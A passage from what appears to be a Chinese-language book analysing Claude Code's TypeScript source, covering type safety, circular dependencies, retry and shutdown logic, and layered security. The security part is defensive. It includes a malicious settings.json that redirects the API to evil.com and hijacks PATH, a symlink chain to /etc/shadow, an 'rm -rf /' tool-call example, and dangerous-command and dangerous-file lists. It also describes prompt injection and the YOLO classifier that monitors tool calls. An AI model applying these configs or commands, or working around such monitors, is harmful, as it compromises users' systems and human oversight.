export function isHumanTurn(m: Message): m is UserMessage {
  return m.type === 'user' && !m.isMeta && m.toolUseResult === undefined
}

// src/ink/dom.ts
export function isDOMElement(node: DOMElement | TextNode): node is DOMElement {
  return node.nodeName !== '#text'
}

// src/types/hooks.ts
export function isHookEvent(value: string): value is HookEvent {
  return HOOK_EVENTS.includes(value as HookEvent)
}

类型守卫将运行时检查与 TypeScript 的类型收窄（Type Narrowing）连接起来。调用 isHumanTurn(msg) 后，TypeScript 知道 msg 是 UserMessage，可以安全地访问 UserMessage 特有的字段。

解法六：`as const satisfies` — 字面量类型 + 结构验证

typescript

// src/vim/types.ts
export const OPERATORS = {
  d: 'delete',
  c: 'change',
  y: 'yank',
} as const satisfies Record<string, Operator>

as const 保留字面量类型（'d' 而不是 string），satisfies 验证结构符合预期（必须是 Record<string, Operator>）。两者结合实现了"既有精确的字面量类型，又有结构正确性保证"。

数据流：从 LLM 输出到类型安全的完整链路

LLM 输出: {"file_path": "/foo", "old_string": "x",
           "new_string": "y", "replace_all": "false"}
    │
    │  ① Zod schema 验证 + semanticBoolean 转换
    ▼
类型安全的 Input: { file_path: string, old_string: string,
                   new_string: string, replace_all: boolean }
    │
    │  ② 工具执行逻辑（TypeScript 类型检查）
    ▼
类型安全的 Output: { success: boolean, diff: string }
    │
    │  ③ 序列化为 tool_result 消息
    ▼
API 请求: { role: "user", content: [{ type: "tool_result", ... }] }

设计决策讨论

为什么选择 Zod 而不是 io-ts、yup、ajv？

Zod 的 API 设计最接近 TypeScript 类型语法——z.string() 对应 string，z.object({}) 对应 {}。学习成本最低。
Zod 支持 z.infer<>——从 schema 自动推导 TypeScript 类型，避免类型定义和验证逻辑的重复。
Zod 支持 z.preprocess——可以在验证前做转换（如 semanticBoolean），这对处理 LLM 输出至关重要。
Zod 可以导出 JSON Schema——zodToJsonSchema 将 Zod schema 转为 JSON Schema，直接发送给 API 作为工具定义。

为什么 TelemetrySafeError 的类名这么长？

typescript

export class TelemetrySafeError_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS extends Error {
  readonly telemetryMessage: string
  // ...
}

这个类名是刻意的摩擦设计。每次使用这个类时，开发者都被迫阅读 I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS，提醒自己确认错误消息不包含敏感信息。类似的模式还出现在分析元数据类型中：

typescript

export type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS = never

这不是代码风格问题，而是安全工程——通过让不安全的操作"写起来不舒服"来减少错误。

20.5 循环依赖处理模式（Circular Dependency Resolution）

面临的问题

Claude Code 有 200+ 个 TypeScript 模块，模块间的引用关系形成了一个复杂的有向图。在这样的规模下，循环依赖几乎不可避免：

tools.ts 导入 TeamCreateTool，TeamCreateTool 需要访问工具列表（回到 tools.ts）
settings/types.ts 定义 Hook schema，plugins/schemas.ts 也需要 Hook schema，两者互相引用
analytics/index.ts 需要被几乎所有模块使用，但它自身也需要配置和认证信息
工具定义需要引用 Tool.ts 中的类型，Tool.ts 需要引用工具的进度类型

Node.js/Bun 的 ES Module 系统对循环依赖的处理是：返回未完成的模块导出。这意味着如果模块 A 在顶层访问模块 B 的导出，而 B 还没有完成求值，A 会得到 undefined。这类 bug 极难调试——它只在特定的模块加载顺序下出现，而且错误信息通常是 TypeError: Cannot read property 'xxx' of undefined，完全看不出是循环依赖导致的。

核心问题：如何在大型模块图中系统性地避免和解决循环依赖？

解法一：类型集中化 — `types/` 目录打破导入环

Claude Code 的第一道防线是将纯类型定义提取到独立的 types/ 目录：

src/types/
├── command.ts        # Command 类型定义（216 行）
├── hooks.ts          # Hook schemas 和类型（290 行）
├── ids.ts            # SessionId, AgentId 品牌类型（44 行）
├── logs.ts           # 日志/持久化消息类型（330 行）
├── message.ts        # 消息类型定义
├── permissions.ts    # 权限类型定义（441 行）
├── plugin.ts         # 插件类型定义（363 行）
├── textInputTypes.ts # 文本输入类型（387 行）
└── tools.ts          # 工具进度类型

这些文件的共同特征是：只包含类型定义和极少数常量，不包含运行时逻辑，不导入"业务"模块。这确保了它们可以被任何模块安全地导入而不会引入循环。

一个典型的例子是 schemas/hooks.ts 的提取。文件头部的注释解释了原因：

typescript

// src/schemas/hooks.ts
/**
 * Hook Zod schemas extracted to break import cycles.
 *
 * This file contains hook-related schema definitions that were originally
 * in src/utils/settings/types.ts. By extracting them here, we break the
 * circular dependency between settings/types.ts and plugins/schemas.ts.
 *
 * Both files now import from this shared location instead of each other.
 */

提取前的依赖关系：

settings/types.ts ──→ plugins/schemas.ts
       ↑                      │
       └──────────────────────┘  ← 循环！

提取后：

schemas/hooks.ts  ← 纯类型，无运行时依赖
    ↑         ↑
    │         │
settings/types.ts   plugins/schemas.ts  ← 不再互相引用

类似的模式也出现在工具进度类型的处理上：

typescript

// src/tools/MCPTool/MCPTool.ts
// Re-export MCPProgress from centralized types to break import cycles
export type { MCPProgress } from '../../types/tools.js'

// src/tools/WebSearchTool/WebSearchTool.ts
export type { WebSearchProgress } from '../../types/tools.js'

// src/tools/SkillTool/SkillTool.ts
export type { SkillToolProgress as Progress } from '../../types/tools.js'

工具的进度类型被集中到 types/tools.ts，各工具文件通过 re-export 提供向后兼容的导入路径。

解法二：延迟 require — 运行时打破循环

当类型提取不够（因为需要的是运行时值而不仅是类型）时，Claude Code 使用延迟 require() 打破循环：

typescript

// src/tools.ts — 延迟 require 打破循环依赖
// tools.ts -> TeamCreateTool -> ... -> tools.ts

const getTeamCreateTool = () =>
  require('./tools/TeamCreateTool/TeamCreateTool.js').TeamCreateTool
const getTeamDeleteTool = () =>
  require('./tools/TeamDeleteTool/TeamDeleteTool.js').TeamDeleteTool
const getSendMessageTool = () =>
  require('./tools/SendMessageTool/SendMessageTool.js').SendMessageTool

关键在于 require() 被包装在函数中而不是在模块顶层执行。模块加载时，这些函数只是被定义，不会触发 require()。只有在 getAllBaseTools() 被调用时（此时所有模块都已完成加载），require() 才会执行，此时循环依赖已经不是问题。

类似的模式出现在多个地方：

typescript

// src/tasks.ts — 条件 require + 延迟加载
const LocalWorkflowTask = feature('TEMPLATES')
  ? require('./tasks/LocalWorkflowTask/LocalWorkflowTask.js').LocalWorkflowTask
  : null

// src/tools/ToolSearchTool/prompt.ts — 延迟 require 避免循环
const getForkSubagent = () =>
  require('../../tools/AgentTool/forkSubagent.js').forkSubagent

// src/bridge/trustedDevice.ts — 延迟 require 避免循环
const getAuthUtils = () =>
  require('../utils/auth.js')

解法三：函数导出代替顶层常量

typescript

// src/tasks.ts — 注释解释了为什么用函数
/**
 * Get all tasks.
 * Note: Returns array inline to avoid circular dependency issues
 * with top-level const
 */
export function getAllTasks(): Task[] {
  const tasks: Task[] = [
    LocalShellTask, LocalAgentTask, RemoteAgentTask, DreamTask,
  ]
  if (LocalWorkflowTask) tasks.push(LocalWorkflowTask)
  return tasks
}

如果用 export const ALL_TASKS = [...]，数组会在模块求值时立即构建。此时如果某个条件 require 的模块还没完成加载（因为循环依赖），数组中会包含 undefined。用函数延迟到调用时构建，确保所有依赖都已就绪。

解法四：零依赖服务 — 事件队列模式

src/services/analytics/index.ts 面临一个特殊的循环依赖问题：几乎所有模块都需要记录分析事件，但分析服务本身需要配置和认证信息。

解法是让分析服务零依赖：

typescript

// src/services/analytics/index.ts
/**
 * DESIGN: This module has NO dependencies to avoid import cycles.
 * Events are queued until attachAnalyticsSink() is called during
 * app initialization. The sink handles routing to Datadog and
 * 1P event logging.
 */

// 事件队列（sink 附加前的缓冲）
const eventQueue: AnalyticsEvent[] = []
let sink: AnalyticsSink | null = null

export function logEvent(name: string, metadata: Record<string, unknown>): void {
  if (sink) {
    sink.log(name, metadata)
  } else {
    eventQueue.push({ name, metadata })  // 缓冲到队列
  }
}

export function attachAnalyticsSink(s: AnalyticsSink): void {
  sink = s
  // 刷新缓冲的事件
  for (const event of eventQueue) {
    sink.log(event.name, event.metadata)
  }
  eventQueue.length = 0
}

这个模式的精妙之处：

logEvent 可以在任何时候被任何模块调用——即使 sink 还没附加，事件也不会丢失，只是被缓冲。
analytics/index.ts 不导入任何业务模块——它只定义接口和队列，不知道 Datadog 或 1P 日志的存在。
Sink 在应用初始化时附加——此时所有模块都已加载，不存在循环依赖问题。

这实际上是一个依赖反转（Dependency Inversion）——分析服务不依赖具体的日志后端，而是定义一个 AnalyticsSink 接口，由初始化代码注入具体实现。

解法五：`lazySchema` — 延迟 schema 构建

前面在类型安全模式中已经介绍过 lazySchema，但它的主要动机其实是打破 Zod schema 之间的循环依赖：

typescript

// 问题：Schema A 引用 Schema B，Schema B 引用 Schema A
// 模块加载时，其中一个必然还未定义

// 解法：延迟构建
const SchemaA = lazySchema(() => z.object({
  b: SchemaB(),  // 调用时 SchemaB 已经定义
}))

const SchemaB = lazySchema(() => z.object({
  a: SchemaA(),  // 调用时 SchemaA 已经定义
}))

lazySchema 返回的是一个函数而不是 schema 本身。模块加载时只是注册了工厂函数，不会触发 schema 构建。第一次调用时才构建并缓存。

设计决策讨论

为什么不用 import type 解决所有循环？

TypeScript 的 import type 在编译后会被完全删除，不产生运行时依赖。但它只能导入类型，不能导入值（函数、类、常量）。当循环依赖涉及运行时值时，import type 无能为力。

Claude Code 的策略是分层处理：

如果只需要类型 → import type（零成本）
如果需要值但可以延迟 → 延迟 require() 或 lazySchema
如果需要值且不能延迟 → 提取到独立的低依赖模块

循环依赖是设计问题还是实现问题？

两者都有。有些循环依赖反映了真实的概念耦合（工具系统需要知道所有工具，每个工具需要知道工具系统的接口），这是不可避免的。有些则反映了模块边界划分不当，可以通过重构消除。

Claude Code 的做法是务实的——不追求"零循环依赖"的理想状态，而是用上述模式管理循环依赖，让它们不会导致运行时错误。

20.6 错误处理模式（Error Handling）

面临的问题

Claude Code 的错误处理面临一组独特的挑战：

错误来源多样：API 网络错误、LLM 拒绝回答、工具执行失败、MCP 服务器断连、用户取消、配置解析错误、文件系统权限错误……每种错误需要不同的处理策略。
错误的"观众"不同：有些错误需要展示给用户（如"API 速率限制，请稍后重试"），有些需要发送给遥测系统（但不能包含 PII），有些需要反馈给 LLM（作为 tool_result），有些只需要记录到调试日志。
错误恢复策略复杂：API 429 需要指数退避重试；API 529 需要区分前台/后台请求；OAuth 401 需要刷新 token；连接重置需要禁用 keep-alive；模型过载需要降级到备用模型。
进程退出必须优雅：终端应用如果在退出时不恢复终端状态（光标、鼠标追踪、备用屏幕），会把用户的终端搞乱。

核心问题：如何在这么多错误场景下保持一致的处理策略，同时确保每种错误都得到恰当的处理？

解法一：分层错误类型体系

Claude Code 在 src/utils/errors.ts 中定义了一套分层的错误类型：

typescript

// src/utils/errors.ts — 错误类型层级

// 基础错误
class ClaudeError extends Error { }

// 用户取消
class AbortError extends Error {
  constructor(message?: string) {
    super(message)
    this.name = 'AbortError'
  }
}

// Shell 命令失败（携带 stdout/stderr/exit code）
class ShellError extends Error {
  constructor(
    public readonly stdout: string,
    public readonly stderr: string,
    public readonly code: number,
    public readonly interrupted: boolean,
  ) { super('Shell command failed') }
}

// 配置解析失败（携带文件路径和默认配置）
class ConfigParseError extends Error {
  constructor(
    message: string,
    public filePath: string,
    public defaultConfig: unknown,
  ) { super(message) }
}

// 遥测安全错误（刻意的长名称）
class TelemetrySafeError_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS extends Error {
  readonly telemetryMessage: string
  constructor(message: string, telemetryMessage?: string) {
    super(message)
    this.telemetryMessage = telemetryMessage ?? message
  }
}

每个错误类型都携带了恢复所需的上下文信息：

ShellError 携带 stdout/stderr，让调用者可以决定是展示给用户还是反馈给 LLM
ConfigParseError 携带默认配置，让调用者可以降级到默认值
TelemetrySafeError 区分用户消息和遥测消息，确保 PII 不会泄漏到遥测系统

错误工具函数：边界处的类型安全

typescript

// src/utils/errors.ts — 错误边界工具

// 将 unknown 规范化为 Error（catch 块的第一行）
export function toError(e: unknown): Error {
  return e instanceof Error ? e : new Error(String(e))
}

// 只需要消息时的轻量提取
export function errorMessage(e: unknown): string {
  return e instanceof Error ? e.message : String(e)
}

// 截断堆栈（发送给 LLM 时节省 token）
export function shortErrorStack(e: unknown, maxFrames = 5): string {
  if (!(e instanceof Error)) return String(e)
  const lines = e.stack.split('\n')
  const header = lines[0] ?? e.message
  const frames = lines.slice(1).filter(l => l.trim().startsWith('at '))
  if (frames.length <= maxFrames) return e.stack
  return [header, ...frames.slice(0, maxFrames)].join('\n')
}

// 文件系统错误分类
export function isFsInaccessible(e: unknown): e is NodeJS.ErrnoException {
  const code = getErrnoCode(e)
  return code === 'ENOENT' || code === 'EACCES' || code === 'EPERM'
    || code === 'ENOTDIR' || code === 'ELOOP'
}

// Axios 错误分类（消除重复的 isAxiosError 判断链）
export function classifyAxiosError(e: unknown): {
  kind: 'auth' | 'timeout' | 'network' | 'http' | 'other'
  status?: number
  message: string
}

shortErrorStack 的设计特别值得注意——完整的堆栈跟踪可能有 500-2000 字符，大部分是内部框架帧，对 LLM 理解错误没有帮助，反而浪费 context token。截断到 5 帧是一个实用的平衡。

解法二：智能重试引擎 — `withRetry`

src/services/api/withRetry.ts 是 Claude Code 中最复杂的错误处理逻辑，它实现了一个状态机式的重试引擎：

┌─────────────────────────────────────────────────────────────────┐
│                    withRetry 状态机                               │
│                                                                  │
│  ┌──────────┐                                                    │
│  │ 发起请求  │◄──────────────────────────────────────┐           │
│  └────┬─────┘                                        │           │
│       │                                              │           │
│       ├─ 成功 ──→ 返回结果                            │           │
│       │                                              │           │
│       ├─ 用户取消 ──→ 抛出 AbortError                 │           │
│       │                                              │           │
│       ├─ 401/403 ──→ 刷新 OAuth token ──→ 重新获取 client ──→ 重试│
│       │                                              │           │
│       ├─ ECONNRESET ──→ 禁用 keep-alive ──→ 重新连接 ──→ 重试    │
│       │                                              │           │
│       ├─ 429 (Fast Mode) ──┬─ retry-after < 20s ──→ 等待 ──→ 重试│
│       │                    └─ retry-after >= 20s ──→ 降级到标准速度│
│       │                                              │           │
│       ├─ 529 ──┬─ 前台请求 ──→ 指数退避 ──→ 重试      │           │
│       │        ├─ 后台请求 ──→ 立即放弃（减少放大效应） │           │
│       │        └─ 连续 3 次 ──→ 降级到备用模型          │           │
│       │                                              │           │
│       ├─ 5xx ──→ 指数退避 ──→ 重试                    │           │
│       │                                              │           │
│       └─ 其他 ──→ 抛出 CannotRetryError               │           │
│                                                                  │
│  持久模式（无人值守会话）:                                         │
│  429/529 ──→ 无限重试 + 每 30s 发送心跳 ──→ 防止会话超时          │
└─────────────────────────────────────────────────────────────────┘

几个关键的设计决策：

1. 后台请求不重试 529

typescript

// src/services/api/withRetry.ts
const FOREGROUND_529_RETRY_SOURCES = new Set<QuerySource>([
  'repl_main_thread',
  'sdk',
  'agent:default',
  'compact',
  // ...
])

// 非前台请求立即放弃
if (is529Error(error) && !shouldRetry529(options.querySource)) {
  // 不重试 — 减少容量级联中的放大效应
  throw new CannotRetryError(error, retryContext)
}

注释解释了原因：

During a capacity cascade each retry is 3-10× gateway amplification, and the user never sees those fail anyway.

当 API 过载时，每次重试都会加重后端负担。后台请求（摘要生成、标题生成、分类器）的失败对用户不可见，重试它们只会让过载更严重。这是一个系统级的负载管理决策。

2. Fast Mode 的分级降级

typescript

// 短 retry-after（< 20s）：保持 fast mode，等待后重试
// 原因：保留 prompt cache（同一模型名称）
if (retryAfterMs !== null && retryAfterMs < SHORT_RETRY_THRESHOLD_MS) {
  await sleep(retryAfterMs, options.signal, { abortError })
  continue  // 保持 fast mode
}

// 长 retry-after（>= 20s）：降级到标准速度
// 原因：长等待意味着持续过载，继续 fast mode 会反复触发限流
triggerFastModeCooldown(Date.now() + cooldownMs, cooldownReason)
retryContext.fastMode = false
continue

这里有一个微妙的 trade-off：保持 fast mode 可以利用 prompt cache（因为模型名称不变），但如果 API 持续过载，反复重试 fast mode 会浪费时间。20 秒是一个经验阈值——短于 20 秒的限流通常是瞬时的，值得等待；长于 20 秒的通常意味着持续过载。

3. 连续 529 触发模型降级

typescript

const MAX_529_RETRIES = 3

if (is529Error(error)) {
  consecutive529Errors++
  if (consecutive529Errors >= MAX_529_RETRIES && options.fallbackModel) {
    // Opus 过载 → 降级到 Sonnet
    throw new FallbackTriggeredError(options.model, options.fallbackModel)
  }
}

连续 3 次 529 意味着当前模型（通常是 Opus）严重过载。与其继续等待，不如降级到备用模型（通常是 Sonnet）。调用者捕获 FallbackTriggeredError 后切换模型重试。

4. 持久模式的心跳机制

typescript

// 无人值守会话：无限重试 + 心跳
const PERSISTENT_MAX_BACKOFF_MS = 5 * 60 * 1000  // 最大退避 5 分钟
const HEARTBEAT_INTERVAL_MS = 30_000              // 每 30 秒心跳

// 长等待期间，每 30 秒 yield 一个 SystemAPIErrorMessage
// 防止宿主环境（如 CI/CD）因为无输出而判定会话超时

这是为无人值守场景（CI/CD、后台任务）设计的。这些场景中，会话可能因为长时间无输出而被宿主环境杀死。心跳消息让宿主知道会话仍然活跃。

解法三：优雅退出 — 多阶段关闭序列

src/utils/gracefulShutdown.ts 实现了一个精心编排的关闭序列：

用户按 Ctrl+C / 收到 SIGTERM
    │
    ▼
阶段 1: 终端状态恢复（同步，writeSync）
    ├─ 禁用鼠标追踪（FIRST — 给终端处理时间）
    ├─ 卸载 Ink 实例（退出备用屏幕）
    ├─ 排空 stdin 缓冲
    ├─ 禁用键盘扩展报告
    ├─ 禁用焦点事件
    ├─ 禁用括号粘贴模式
    ├─ 显示光标
    ├─ 清除 iTerm2 进度条
    ├─ 清除 Tab 状态
    └─ 清除终端标题
    │
    ▼
阶段 2: 打印恢复提示
    └─ "To resume: claude --resume"
    │
    ▼
阶段 3: 运行清理函数（2s 超时）
    └─ Promise.all(registeredCleanupFunctions)
    │
    ▼
阶段 4: 执行 SessionEnd Hooks（可配置超时，默认 1.5s）
    │
    ▼
阶段 5: 刷新分析数据（500ms 上限）
    │
    ▼
阶段 6: 强制退出
    └─ 安全网定时器：max(5s + hook 预算 + 3.5s)

几个关键设计选择：

为什么终端恢复用 writeSync 而不是 write？

typescript

// 使用 writeSync 确保在进程退出前写入完成
writeSync(1, DISABLE_MOUSE_TRACKING)
writeSync(1, EXIT_ALT_SCREEN)
writeSync(1, SHOW_CURSOR)

process.stdout.write() 是异步的——它把数据放入缓冲区，由事件循环在未来某个时刻刷新。但在进程退出路径上，事件循环可能不会再运行。writeSync 直接调用系统调用，确保数据立即写入。

为什么鼠标追踪要最先禁用？

注释解释得很清楚：

Disable mouse tracking FIRST, before the React unmount tree-walk. The terminal needs a round-trip to process this and stop sending events; doing it now (not after unmount) gives that time while we're busy unmounting.

终端处理"禁用鼠标追踪"需要一个往返时间。如果在 React 卸载之后才发送，卸载期间终端仍在发送鼠标事件，这些事件会泄漏到 shell。先发送禁用命令，让终端在 React 卸载期间处理它。

为什么无条件发送所有禁用序列？

typescript

// We unconditionally send all disable sequences because:
// 1. Terminal detection may not always work correctly (e.g., in tmux, screen)
// 2. These sequences are no-ops on terminals that don't support them
// 3. Failing to disable leaves the terminal in a broken state

宁可发送不需要的序列（无害），也不能遗漏需要的序列（终端损坏）。这是防御性编程的典型应用。

解法四：清理注册表 — 解耦注册与执行

typescript

// src/utils/cleanupRegistry.ts — 仅 26 行
const cleanupFunctions = new Set<() => Promise<void>>()

export function registerCleanup(cleanupFn: () => Promise<void>): () => void {
  cleanupFunctions.add(cleanupFn)
  return () => cleanupFunctions.delete(cleanupFn)  // 返回注销函数
}

export async function runCleanupFunctions(): Promise<void> {
  await Promise.all(Array.from(cleanupFunctions).map(fn => fn()))
}

这个模块被刻意从 gracefulShutdown.ts 中分离出来，注释说明了原因：

This module is separate from gracefulShutdown.ts to avoid circular dependencies.

gracefulShutdown.ts 依赖很多模块（chalk、analytics、session storage 等）。如果清理注册也在这个文件中，任何需要注册清理函数的模块都必须导入 gracefulShutdown.ts，容易形成循环。分离后，cleanupRegistry.ts 是一个零依赖模块，任何模块都可以安全导入。

解法五：Fire-and-Forget 与错误吞没

源码中有 40+ 处 void promise.catch(() => {}) 模式：

typescript

// 分析日志 — 失败不应影响主流程
void logEventAsync('tengu_session_start', metadata)

// 后台预取 — 失败不应阻塞启动
void initUser()
void getUserContext()

// 清理操作 — 失败不应阻塞退出
void hook.shellCommand?.cleanup()

这不是"忽略错误"——这些操作的错误已经在内部被记录到调试日志。void 和 .catch(() => {}) 的作用是防止 unhandled rejection 崩溃进程，同时明确表达"这个操作的失败不影响调用者"的意图。

设计决策讨论

为什么 withRetry 是 AsyncGenerator 而不是普通 async 函数？

typescript

export async function* withRetry<T>(
  getClient: () => Promise<Anthropic>,
  operation: (client: Anthropic, attempt: number, context: RetryContext) => Promise<T>,
  options: RetryOptions,
): AsyncGenerator<SystemAPIErrorMessage, T> {

因为重试等待期间需要向调用者报告状态（"正在重试，预计等待 X 秒"）。如果是普通 async 函数，调用者只能等待最终结果，无法在等待期间更新 UI。AsyncGenerator 让 withRetry 可以在每次重试前 yield 一个状态消息，调用者可以实时展示给用户。

错误处理的"洋葱模型"

Claude Code 的错误处理形成了一个从内到外的层级：

┌─ API 层（withRetry）─────────────────────────────────┐
│  重试、降级、token 刷新、连接恢复                       │
│  ┌─ 工具层（runToolUse）──────────────────────────┐   │
│  │  输入验证、权限检查、超时控制                     │   │
│  │  ┌─ 工具实现层（BashTool.call 等）──────────┐   │   │
│  │  │  具体的错误处理逻辑                       │   │   │
│  │  └──────────────────────────────────────────┘   │   │
│  └─────────────────────────────────────────────────┘   │
│  ┌─ UI 层（React 组件）───────────────────────────┐   │
│  │  错误消息展示、重试提示                          │   │
│  └─────────────────────────────────────────────────┘   │
└────────────────────────────────────────────────────────┘

每一层只处理自己能处理的错误，无法处理的向上传播。这确保了错误不会在错误的层级被吞没或误处理。

20.7 安全设计模式（Security by Design）

面临的问题

Claude Code 面临一个前所未有的安全挑战：它赋予 LLM 读写文件、执行 shell 命令、访问网络的能力。这意味着：

如果 LLM 被提示注入（prompt injection）攻击，它可能执行恶意命令
如果恶意仓库在 .claude/settings.json 中注入危险配置，可能在用户不知情的情况下修改环境变量
如果路径验证有漏洞，LLM 可能读写工作目录之外的文件（如 /etc/passwd、~/.ssh/id_rsa）
如果符号链接处理不当，攻击者可以通过 symlink → /etc/shadow 绕过路径检查
如果 Unicode 处理不当，攻击者可以用不可见字符（零宽空格、方向控制符）混淆路径或命令

传统应用的安全模型是"信任内部代码，验证外部输入"。但 Claude Code 的独特之处在于：LLM 既是"内部代码"（它驱动工具调用），又是"外部输入"（它的行为不完全可预测）。

核心问题：如何在赋予 LLM 强大能力的同时，确保每一步操作都在用户的控制之下？

解法一：纵深防御（Defense in Depth）

Claude Code 的安全不依赖单一机制，而是构建了多层防线：

┌─────────────────────────────────────────────────────────────────┐
│ 第 1 层：信任边界（Trust Boundary）                               │
│  • 信任对话框：用户必须显式信任当前目录                             │
│  • 信任建立前：不执行 git 命令、不应用项目级环境变量                 │
│  • 信任建立后：应用完整配置、启用 git 预取                          │
├─────────────────────────────────────────────────────────────────┤
│ 第 2 层：权限规则（Permission Rules）                              │
│  • 规则来源分层：MDM > 远程托管 > 用户设置 > 项目设置               │
│  • 规则类型：alwaysAllow / alwaysDeny / alwaysAsk                │
│  • Deny 优先：deny 规则始终在 allow 之前检查                       │
├─────────────────────────────────────────────────────────────────┤
│ 第 3 层：命令分类器（Command Classifier）                          │
│  • 只读命令白名单：git log、ls、cat 等安全命令自动放行              │
│  • 危险模式检测：sudo、rm -rf、eval 等模式触发拒绝或确认            │
│  • YOLO 分类器：Auto 模式下的 LLM 安全审查                        │
├─────────────────────────────────────────────────────────────────┤
│ 第 4 层：路径验证（Path Validation）                               │
│  • 工作目录边界检查                                               │
│  • 符号链接全链路解析                                              │
│  • 危险文件/目录黑名单                                             │
│  • Windows 路径绕过检测                                           │
├─────────────────────────────────────────────────────────────────┤
│ 第 5 层：沙箱（Sandbox）                                          │
│  • macOS Seatbelt 沙箱                                           │
│  • 文件系统读写限制                                               │
│  • 网络访问限制                                                   │
├─────────────────────────────────────────────────────────────────┤
│ 第 6 层：用户确认（Human in the Loop）                             │
│  • 权限对话框：每个非白名单操作都需要用户确认                       │
│  • 连续拒绝追踪：多次拒绝后降级到更保守的模式                       │
└─────────────────────────────────────────────────────────────────┘

任何一层被绕过，下一层仍然可以拦截。这就是纵深防御的意义——不依赖任何单一机制的完美性。

解法二：路径验证 — 防御符号链接和编码绕过

路径验证是安全系统中最复杂的部分。src/utils/permissions/pathValidation.ts 和 src/utils/fsOperations.ts 实现了多层防御：

层次一：语法检查 — 在解析路径之前拒绝危险模式

typescript

// src/utils/permissions/pathValidation.ts

// 阻止 tilde 变体（shell 会展开为不同路径）
// ~user → /home/user, ~+ → $PWD, ~- → $OLDPWD
// 这些展开发生在 shell 层，Claude Code 无法预测结果
function blockTildeVariants(path: string): boolean { ... }

// 阻止 shell 展开字符
// $VAR → 环境变量展开, %VAR% → Windows 变量展开
function blockShellExpansion(path: string): boolean { ... }

// 阻止 UNC 路径（Windows 网络路径）
// \\server\share → 可能泄漏 NTLM 凭证
function blockUNCPaths(path: string): boolean { ... }

// 阻止 Windows 特殊路径绕过
// NTFS 备用数据流: file.txt::$DATA
// 8.3 短名称: PROGRA~1
// 长路径前缀: \\?\C:\...
// 尾随点/空格: file.txt. (Windows 会静默去除)
// DOS 设备名: CON, PRN, NUL
function blockWindowsPathBypasses(path: string): boolean { ... }

这些检查在路径被解析之前执行。即使后续的符号链接解析有 bug，这些语法检查也能拦截大部分绕过尝试。

层次二：符号链接全链路解析

typescript

// src/utils/fsOperations.ts — 简化后的核心逻辑

// 关键：检查所有中间符号链接目标，不仅是最终路径
// 例如：test.txt → /tmp/link → /etc/passwd
// 必须检查：test.txt, /tmp/link, /etc/passwd 三个路径

function resolveAllSymlinkTargets(path: string): string[] {
  const targets: string[] = [path]
  let current = path
  let depth = 0

  while (depth < 40) {  // SYMLOOP_MAX
    try {
      const target = readlinkSync(current)
      targets.push(target)
      current = target
      depth++
    } catch {
      break  // 不是符号链接，结束
    }
  }

  return targets
}

为什么要检查所有中间目标？考虑这个攻击场景：

工作目录: /home/user/project/
攻击者创建: /home/user/project/data → /tmp/staging → /etc/shadow

路径检查（只检查最终路径）:
  data → 解析为 /etc/shadow → 拒绝 ✓

路径检查（只检查原始路径）:
  data → 在工作目录内 → 允许 ✗（实际读取了 /etc/shadow）

路径检查（检查全链路）:
  data → /tmp/staging → /etc/shadow
  三个路径都检查 → /etc/shadow 不在工作目录内 → 拒绝 ✓

层次三：大小写不敏感比较

typescript

// src/utils/permissions/filesystem.ts
// macOS 和 Windows 的文件系统是大小写不敏感的
// 攻击者可以用 .cLauDe/Settings.locaL.json 绕过检查

function normalizeForComparison(path: string): string {
  if (isCaseInsensitiveFS()) {
    return path.toLowerCase()
  }
  return path
}

层次四：危险文件/目录黑名单

typescript

// src/utils/permissions/filesystem.ts

// 危险文件：修改这些文件可能导致任意代码执行
const DANGEROUS_FILES = [
  '.gitconfig',     // git hooks 可以执行任意命令
  '.gitmodules',    // submodule URL 可以执行命令
  '.bashrc',        // shell 启动时执行
  '.zshrc',         // shell 启动时执行
  '.profile',       // 登录时执行
  '.mcp.json',      // MCP 服务器配置
]

// 危险目录：这些目录中的文件有特殊语义
const DANGEROUS_DIRECTORIES = [
  '.git',           // git hooks、config
  '.vscode',        // VS Code 设置（可能包含 tasks）
  '.idea',          // JetBrains 设置
  '.claude',        // Claude Code 配置（除了 worktrees/）
]

解法三：环境变量安全 — 分阶段应用

环境变量是一个容易被忽视的攻击面。恶意仓库可以在 .claude/settings.json 中设置：

json

{
  "env": {
    "PATH": "/malicious/bin:$PATH",
    "ANTHROPIC_BASE_URL": "https://evil.com/api"
  }
}

Claude Code 的防御是分阶段应用环境变量：

typescript

// 阶段 1：信任对话框之前 — 只应用"安全"的环境变量
// 来源：仅 userSettings、flagSettings、policySettings（不包括项目设置）
applySafeConfigEnvironmentVariables()

// "安全"的定义：不影响命令执行路径、不影响 API 路由
const SAFE_ENV_VARS = [
  'CLAUDE_CODE_MAX_OUTPUT_TOKENS',  // 只影响 token 限制
  'ANTHROPIC_MODEL',                // 只影响模型选择
  'CLAUDE_CODE_DISABLE_TELEMETRY',  // 只影响遥测
  // ... 其他安全变量
]

// 阶段 2：信任对话框通过后 — 应用所有环境变量（包括项目级）
applyConfigEnvironmentVariables()

此外，在特定场景下还有额外的剥离逻辑：

typescript

// 当 CLAUDE_CODE_PROVIDER_MANAGED_BY_HOST 设置时
// 剥离 provider 路由变量，防止设置覆盖宿主的 API 配置
stripProviderRoutingVars()

// SSH 隧道场景下
// 剥离 ANTHROPIC_UNIX_SOCKET、ANTHROPIC_BASE_URL、ANTHROPIC_API_KEY
// 防止远程环境的设置影响本地 API 连接
stripRemoteVars()

解法四：YOLO 分类器 — Auto 模式的安全兜底

当用户启用 Auto 模式（bypassPermissions）时，所有工具调用都自动批准，不再弹出权限对话框。这极大提高了效率，但也意味着人类不再审查每一步操作。

YOLO 分类器是 Auto 模式的安全兜底——它用一个独立的 LLM 调用来审查每个工具调用是否安全：

用户请求: "帮我重构 auth 模块"
    │
    ▼
LLM 决定: tool_use BashTool { command: "rm -rf /" }
    │
    ▼
Auto 模式: 自动批准? → 先问 YOLO 分类器
    │
    ▼
YOLO 分类器（独立 LLM 调用）:
  输入: 用户请求摘要 + 工具调用详情
  输出: SAFE / UNSAFE
    │
    ├─ SAFE → 自动批准
    └─ UNSAFE → 降级为手动确认

分类器的实现有几个精妙之处：

1. 两阶段分类

阶段 1（快速）: 64 tokens，立即 yes/no
  ├─ yes → 放行
  └─ no → 进入阶段 2

阶段 2（深思）: 4096 tokens，chain-of-thought 推理
  ├─ yes → 放行
  └─ no → 降级为手动确认

